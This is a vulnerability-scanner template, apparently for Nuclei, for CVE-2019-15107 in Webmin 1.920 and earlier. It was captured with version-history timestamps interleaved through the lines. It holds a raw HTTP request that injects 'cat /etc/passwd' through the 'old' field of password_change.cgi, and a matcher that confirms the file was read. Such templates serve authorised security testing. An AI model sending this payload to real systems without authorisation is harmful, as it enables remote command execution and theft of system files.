2021-01-02 04:59:06 +00:00
|
|
|
id: CVE-2019-15107
|
2020-09-25 12:30:58 +00:00
|
|
|
|
|
|
|
|
info:
|
2021-04-06 10:43:41 +00:00
|
|
|
name: Webmin <= 1.920 Unauthenticated Remote Command Execution
|
2020-09-25 12:30:58 +00:00
|
|
|
author: bp0lr
|
|
|
|
|
severity: high
|
2021-04-06 10:25:50 +00:00
|
|
|
description: An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
|
2021-02-05 19:44:41 +00:00
|
|
|
reference: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
|
|
|
|
|
tags: cve,cve2019,webmin,rce
|
2020-09-25 12:30:58 +00:00
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- raw: #
|
|
|
|
|
- |
|
|
|
|
|
POST /password_change.cgi HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
|
|
|
Accept-Language: en-US,en;q=0.5
|
|
|
|
|
Referer: https://{{Hostname}}/
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
Content-Length: 73
|
|
|
|
|
Connection: close
|
|
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
|
|
|
|
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: regex
|
|
|
|
|
regex:
|
|
|
|
|
- "root:[x*]:0:0:"
|
